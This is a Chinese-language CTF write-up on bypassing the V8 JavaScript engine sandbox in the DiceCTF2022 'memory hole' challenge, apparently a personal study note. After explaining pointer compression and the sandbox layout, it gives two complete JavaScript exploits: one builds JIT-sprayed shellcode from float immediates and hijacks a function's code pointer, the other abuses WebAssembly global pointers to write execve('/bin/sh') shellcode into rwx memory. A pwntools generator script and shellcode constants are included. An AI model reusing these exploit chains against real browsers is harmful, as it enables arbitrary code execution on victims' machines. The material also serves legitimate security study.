V8 沙箱绕过

文章目录

  • 前言
  • 指针压缩
  • v8 沙箱
  • 沙箱绕过
    • 利用立即数写 shellcode
    • 利用 WasmInstance 的全局变量

前言

本文完全参考 Jay1n_sky123_大佬文章:V8 沙箱绕过 和 Chrome v8 pwn,因此仅仅做记录方便日后查看,如果读者想更详细地了解该技术,请移步至上述参考文章

这里是以 DiceCTF2022 memory hole 题目为例展开的,出题者已经给了编译好的 d8 ,这里就直接用了,就是调试不是很方便。该题直接给了一个修改 array.length 的能力,所以漏洞可以说是白给,主要的难点在于其开了 sandbox

diff --git a/BUILD.gn b/BUILD.g
index 4aeace7f59..f2362534c8 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -304,18 +304,18 @@ declare_args() {

   # Enable the experimental V8 sandbox.
   # Sets -DV8_SANDBOX.
-  v8_enable_sandbox = false
+  v8_enable_sandbox = true

   # Enable external pointer sandboxing. Requires v8_enable_sandbox.
   # Sets -DV8_SANDBOXED_EXTERNAL_POINRTERS.
-  v8_enable_sandboxed_external_pointers = false
+  v8_enable_sandboxed_external_pointers = true

   # Enable sandboxed pointers. Requires v8_enable_sandbox.
   # Sets -DV8_SANDBOXED_POINTERS.
-  v8_enable_sandboxed_pointers = false
+  v8_enable_sandboxed_pointers = true

   # Enable all available sandbox features. Implies v8_enable_sandbox.
-  v8_enable_sandbox_future = false
+  v8_enable_sandbox_future = true

   # Experimental feature for collecting per-class zone memory stats.
   # Requires use_rtti = true
......

如果题目没有开启 sandbox 就非常简单了,直接 OOBArrayBuffer 即可构造任意读写原语,然后可以泄漏 libchook 或者直接打 wasmrwx 区域。但是题目开启了 sandbox,这使得构造任意读写原语不再简单。

指针压缩

64 位 V8 中使用了指针压缩的技术,即将 64 位指针转为 js_base + offset 的形式,只在内存当中存储 offset ,寄存器 r14 存储 js_base,其中 offset 是 32 位的。JS 对象在解引用时,会从 $r14 + offset 的地址加载。因此 js_base + offset 被限制在一个 4GB 的区域,无法访问任意地址。

如下,没有开启指针压缩ArrayBuffer 内存布局:
V8 沙箱绕过_第1张图片
开启后:
V8 沙箱绕过_第2张图片
实际观察一下:
V8 沙箱绕过_第3张图片

绕过指针压缩的方法很简单,因为指针压缩只对堆上指针使用,堆外指针不会压缩。ArrayBufferBackingStore 是个堆外指针,可以直接修改 BackingStore 为任意地址进而实现任意地址读写(其实之前也做过指针压缩的题目,详细可以见笔者之前的文章,注意区分一下文章中的 V8 堆和实际堆)。

v8 沙箱

指针压缩将读写的范围限制在了 4GB 之内,但是在 V8 中仍然存在一些对象其指针不指向 V8 对象,比如 ArrayBuffer 中的 BackingStore 指针,其指向一个堆地址,那么通过篡改这些指针仍然可以实现任意地址读写原语。那么沙箱的作用自然就是去限制这些指针的读写范围

沙箱的具体实现方式有两种:

  • 一种是类似上图中的 ArrayBufferExtension 指针。在开启沙箱后,ArrayBufferExtension 存储的不再是堆地址,而是一个叫做 External Pointer Table 的表的下标,而在这个表的对应索引处存放着 ArrayBufferExtension 对应结构的地址和类型。这样攻击者就只能访问 ArrayBufferExtension 中存放的信息对应的结构而不能实现任意地址读写且不易实现类型混淆。
    V8 沙箱绕过_第4张图片
  • 另一种类似上图中的 BackingStorage。在开启沙箱后 BackingStorage 指针存放的是 BackingStorage 地址与沙箱基址偏移(40bit)左移 24bit 的结果。这个方式和指针压缩相同(实际上基址也相同),只不过访问范围变为 1TB 。
    V8 沙箱绕过_第5张图片
    因此沙箱的整体结构如下图所示:
    V8 沙箱绕过_第6张图片

实际的调试结果如下图所示,注意 rwx 段不在沙箱中,因此利用 ArrayBuffer 无法将 shellcode 写入 rwx 段:
V8 沙箱绕过_第7张图片

沙箱绕过

利用立即数写 shellcode

JSFunction
V8 沙箱绕过_第8张图片
可以看到其存在一个 code 字段,其位于 r_x 页:
在这里插入图片描述
修改 code 字段为 0x41414141
V8 沙箱绕过_第9张图片
继续执行,出现异常报错,此时 rcx0x00001ee641414141 = 0x00001ee600000000 + 0x41414141 = $r14 + code
V8 沙箱绕过_第10张图片
看这段汇编代码:
V8 沙箱绕过_第11张图片
可以看到如果我们可以让 DWORD PTR [rcx+0x1b] & 0x20000000 == 0 成立,此时就会跳转到 rcx+0x3f 处执行。
劫持程序执行流
JS 函数的 JIT 代码存储在 JS 堆中,其基地址是固定的:

function f() {
        return [1.1, 2.2, 3.3];
}

%PrepareFunctionForOptimization(f);
f();
%OptimizeFunctionOnNextCall(f);
f();
%DebugPrint(f);
while(1) {}

V8 沙箱绕过_第12张图片
所以这里可以利用字节错位来构造 shellcode
V8 沙箱绕过_第13张图片
在汇编里,每个浮点数以立即数的形式存在,立即数占 8 个字节,jmp 占两个字节,剩余 6 个字节就可以用来构造 shellcode 片段,最后通过 jmpshellcode 片段组合成完整的 shellcode。而每个立即数直接的操作都差不多:

REX.W movq r10, double_num
vmovq xmm0, r10
vmovsq [rcx + offset], xmm0 // 这条指令的长度可能会随着 offset 的变化而变化,注意一下即可

参考脚本:

from pwn import *

context(arch='amd64')
jmp = b'\xeb\x0c'
shell = u64(b'/bin/sh\x00')

def make_double(code):
    assert len(code) <= 6
    print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])

make_double(asm("push %d; pop rax" % (shell >> 0x20)))
make_double(asm("push %d; pop rdx" % (shell % 0x100000000)))
make_double(asm("shl rax, 0x20; xor esi, esi"))
make_double(asm("add rax, rdx; xor edx, edx; push rax"))
code = asm("mov rdi, rsp; push 59; pop rax; syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])
"""
输出:
ceb580068732f68
ceb5a6e69622f68
cebf63120e0c148
ceb50d231d00148
50f583b6ae78948
"""

具体看一下:

(gdb) job 0x238400044001
0x238400044001: [Code]
 - map: 0x23840800263d <Map>
 - code_data_container: 0x2384081d2831 <Other heap object (CODE_DATA_CONTAINER_TYPE)>
kind = TURBOFAN
stack_slots = 6
compiler = turbofan
address = 0x238400044001

Instructions (size = 344)
......
0x23840004409f    5f  49ba682f73680058eb0c REX.W movq r10,0xceb580068732f68
0x2384000440a9    69  c4c1f96ec2           vmovq xmm0,r10
0x2384000440ae    6e  c5fb114107           vmovsd [rcx+0x7],xmm0
0x2384000440b3    73  49ba682f62696e5aeb0c REX.W movq r10,0xceb5a6e69622f68
0x2384000440bd    7d  c4c1f96ec2           vmovq xmm0,r10
0x2384000440c2    82  c5fb11410f           vmovsd [rcx+0xf],xmm0
0x2384000440c7    87  49ba48c1e02031f6eb0c REX.W movq r10,0xcebf63120e0c148
0x2384000440d1    91  c4c1f96ec2           vmovq xmm0,r10
0x2384000440d6    96  c5fb114117           vmovsd [rcx+0x17],xmm0
0x2384000440db    9b  49ba4801d031d250eb0c REX.W movq r10,0xceb50d231d00148
0x2384000440e5    a5  c4c1f96ec2           vmovq xmm0,r10
0x2384000440ea    aa  c5fb11411f           vmovsd [rcx+0x1f],xmm0
0x2384000440ef    af  49ba4889e76a3b580f05 REX.W movq r10,0x50f583b6ae78948
0x2384000440f9    b9  c4c1f96ec2           vmovq xmm0,r10
0x2384000440fe    be  c5fb114127           vmovsd [rcx+0x27],xmm0

然后来看下构造的 shellcode
V8 沙箱绕过_第14张图片
shellcode 构造完后就得想办法劫持程序执行流到 0x2384000440a1 了,即 rcx + 0x3f = 0x2384000440a1 = 0x238400044001 + 0x3f + 0x61 = old_code + 0x3f + 0x61,所以只需要让 code + 0x61 即可,让我们有了读写的能力,我们可以先读取 code 的值,然后在将 code + 0x61 写回 code

这里的 0x61 不是固定的,具体调试便知

记一个 shellcode(不知道是不是版本通用的):

function shellcode() {
    return [
        1.930800574428816e-246,
        1.9710610293119303e-246,
        1.9580046981136086e-246,
        1.9533830734556562e-246,
        1.961642575273437e-246,
        1.9399842868403466e-246,
        1.9627709291878714e-246,
        1.9711826272864685e-246,
        1.9954775598492772e-246,
        2.000505685241573e-246,
        1.9535148279508375e-246,
        1.9895153917617124e-246,
        1.9539853963090317e-246,
        1.9479373016495106e-246,
        1.97118242283721e-246,
        1.95323825426926e-246,
        1.99113905582155e-246,
        1.9940808572858186e-246,
        1.9537941682504095e-246,
        1.930800151635891e-246,
        1.932214185322047e-246
    ];
}
/*
return [
	1.9553825422107533e-246,
	1.9560612558242147e-246,
	1.9995714719542577e-246,
	1.9533767332674093e-246,
	2.6348604765229606e-284
];
*/
for (let i = 0; i < 0x40000; i++) {
    shellcode();
}

exp 如下:

const {log} = console;

var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);

function d2l(x)
{
        d_buf[0] = x;
        return l_buf[0];
}

function l2d(x)
{
        l_buf[0] = x;
        return d_buf[0];
}

let hexx = (str, v) => {
        log("\033[32m" + str + ": \033[0m0x" + v.toString(16));
};

function shellcode() {
        return [
                1.0,
                1.9553825422107533e-246,
                1.9560612558242147e-246,
                1.9995714719542577e-246,
                1.9533767332674093e-246,
                2.6348604765229606e-284
        ];
}

for (let i = 0; i < 0x100000; i++) {
        shellcode();shellcode();
        shellcode();shellcode();
}


var oob_arr = [1.1];
var victim = [2.2];
var obj_arr = [0xeade, 0xeade, shellcode, victim, oob_arr, oob_arr];
const LENGTH = 0x1000;
oob_arr.setLength(LENGTH);

var oob_idx = -1;
var flag = 0;
for (let i = 0; i < LENGTH - 2; i++) {
        if (d2l(oob_arr[i]) === 0x0001d5bc0001d5bcn) {
                if (flag == 0) {
                        flag = 1;
                        continue;
                }
                oob_idx = i + 1;
                break;
        }
}

if (oob_idx == -1) {
        throw "FAILED to oob read shellcode function addr";
}

hexx("oob_idx", oob_idx);
hexx("oob func_offset|victim_offset", d2l(oob_arr[oob_idx]));

var victim_addr_offset = d2l(oob_arr[oob_idx]) >> 32n;
var shellcode_func_addr_offset = d2l(oob_arr[oob_idx]) & 0xffffffffn;
var oob_arr_addr_offset = d2l(oob_arr[oob_idx + 1]) & 0xffffffffn;
hexx("victim_addr_offset", victim_addr_offset);
hexx("shellcode_func_addr_offset", shellcode_func_addr_offset);
hexx("oob_arr_addr_offset", oob_arr_addr_offset);

var victim_idx = (victim_addr_offset + 8n - (oob_arr_addr_offset + 0x10n + 0x8n)) / 8n;
hexx("victim_idx", victim_idx);

oob_arr[victim_idx] = l2d(0x20000000000n|shellcode_func_addr_offset);
hexx("victim_length", victim.length);

var other_or_code = d2l(victim[2]);
hexx("other|code    ", other_or_code);

var new_other_or_code = other_or_code + 0x74n;
hexx("other|new_code", new_other_or_code);
victim[2] = l2d(new_other_or_code);

//%DebugPrint(shellcode);
//while(1) {}

shellcode();

这里的 [rcx + 0x1b] & 0x20000000 = 0 这个约束搞死我了,尝试了很久,最后在参考文章中发现添加个 1.0 即可,反正我最开始添加 1.1、1.2 等都不满足条件。

效果如下:
V8 沙箱绕过_第15张图片

利用 WasmInstance 的全局变量

尽管沙箱几乎把所有指针都压缩了,但依然存在一些 64 位的原始指针,可以尝试劫持它们来绕过沙箱。这里利用的就是 WasmInstance 对象的 imported_mutable_globals 指针,但是该方法在高版本不可行。

简单来说,原理如下图:
V8 沙箱绕过_第16张图片
exp 如下:

const {log} = console;

var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);

function d2l(x)
{
        d_buf[0] = x;
        return l_buf[0];
}

function l2d(x)
{
        l_buf[0] = x;
        return d_buf[0];
}

let hexx = (str, v) => {
        log("\033[32m" + str + ": \033[0m0x" + v.toString(16));
};


var oob_arr = [1.1];
var victim = [2.2];
var fake_global_arr = [3.3];

var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,
                                0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,
                                0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,
                                0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,
                                0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,
                                0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,
                                0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,
                                0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,
                                0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67]);

var global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module, {js:{global}});

var getGlobal= wasm_instance.exports.getGlobal;
var setGlobal= wasm_instance.exports.setGlobal;

var obj_arr = [0xeade, 0xeade, 0xeade, victim, fake_global_arr, oob_arr, wasm_instance];
const LENGTH = 0x10000;
oob_arr.setLength(LENGTH);
var oob_idx = -1;
var flag = 1;
for (let i = 0; i < LENGTH - 2; i++) {
        if (d2l(oob_arr[i]) === 0x0001d5bc0001d5bcn) {
                if (flag == 0) {
                        flag = 1;
                        continue;
                }
                oob_idx = i + 1;
                break;
        }
}

if (oob_idx == -1) {
        throw "FAILED to oob read obj addr";
}

hexx("oob_idx", oob_idx);

var victim_addr_offset = d2l(oob_arr[oob_idx]) & 0xffffffffn;
var fake_global_arr_addr_offset = (d2l(oob_arr[oob_idx]) >> 32n) & 0xffffffffn;
var oob_arr_addr_offset = d2l(oob_arr[oob_idx + 1]) & 0xffffffffn;
var wasm_instance_addr_offset = (d2l(oob_arr[oob_idx + 1]) >> 32n) & 0xffffffffn;
hexx("victim_addr_offset", victim_addr_offset);
hexx("fake_global_arr_addr_offset", fake_global_arr_addr_offset);
hexx("oob_arr_addr_offset", oob_arr_addr_offset);
hexx("wasm_instance_addr_offset", wasm_instance_addr_offset);

var victim_idx = (victim_addr_offset + 8n - (oob_arr_addr_offset - 0x8n)) / 8n;
hexx("victim_idx", victim_idx);

oob_arr[victim_idx] = l2d(0x20000000000n);
hexx("victim_length", victim.length);

var js_base = d2l(victim[9]) >> 8n;
hexx("js_base", js_base);

oob_arr[victim_idx] = l2d(0x40000000000n|wasm_instance_addr_offset);
hexx("victim_length", victim.length);

var rwx_addr = d2l(victim[11]);
hexx("rwx_addr", rwx_addr);


victim[9] = l2d((js_base|(fake_global_arr_addr_offset - 0x8n)) - 1n);
var shellcode = [
        0x2fbb485299583b6an,
        0x5368732f6e69622fn,
        0x050f5e5457525f54n
];


var wasm_code_pwn = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                128,0,1,96,0,1,127,3,130,128,128,128,
                                0,1,0,4,132,128,128,128,0,1,112,0,0,5,
                                131,128,128,128,0,1,0,1,6,129,128,128,128,
                                0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
                                128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module_pwn = new WebAssembly.Module(wasm_code_pwn);
var wasm_instance_pwn = new WebAssembly.Instance(wasm_module_pwn);
var pwn = wasm_instance_pwn.exports.main;


obj_arr[3] = wasm_instance_pwn;
var wasm_instance_pwn_addr_offset = d2l(oob_arr[oob_idx]) & 0xffffffffn;
hexx("wasm_instance_pwn_addr_offset", wasm_instance_pwn_addr_offset);

fake_global_arr[0] = l2d((js_base|wasm_instance_pwn_addr_offset) + 12n * 8n - 1n);
var rwx_pwn = getGlobal();
hexx("rwx_pwn_addr", rwx_pwn);

fake_global_arr[0] = l2d(rwx_pwn);
setGlobal(shellcode[0]);

fake_global_arr[0] = l2d(rwx_pwn + 8n);
setGlobal(shellcode[1]);

fake_global_arr[0] = l2d(rwx_pwn + 16n);
setGlobal(shellcode[2]);

//%DebugPrint(wasm_instance);
//while(1) {}

pwn()

效果如下:
V8 沙箱绕过_第17张图片

你可能感兴趣的:(V8,V8,沙箱绕过)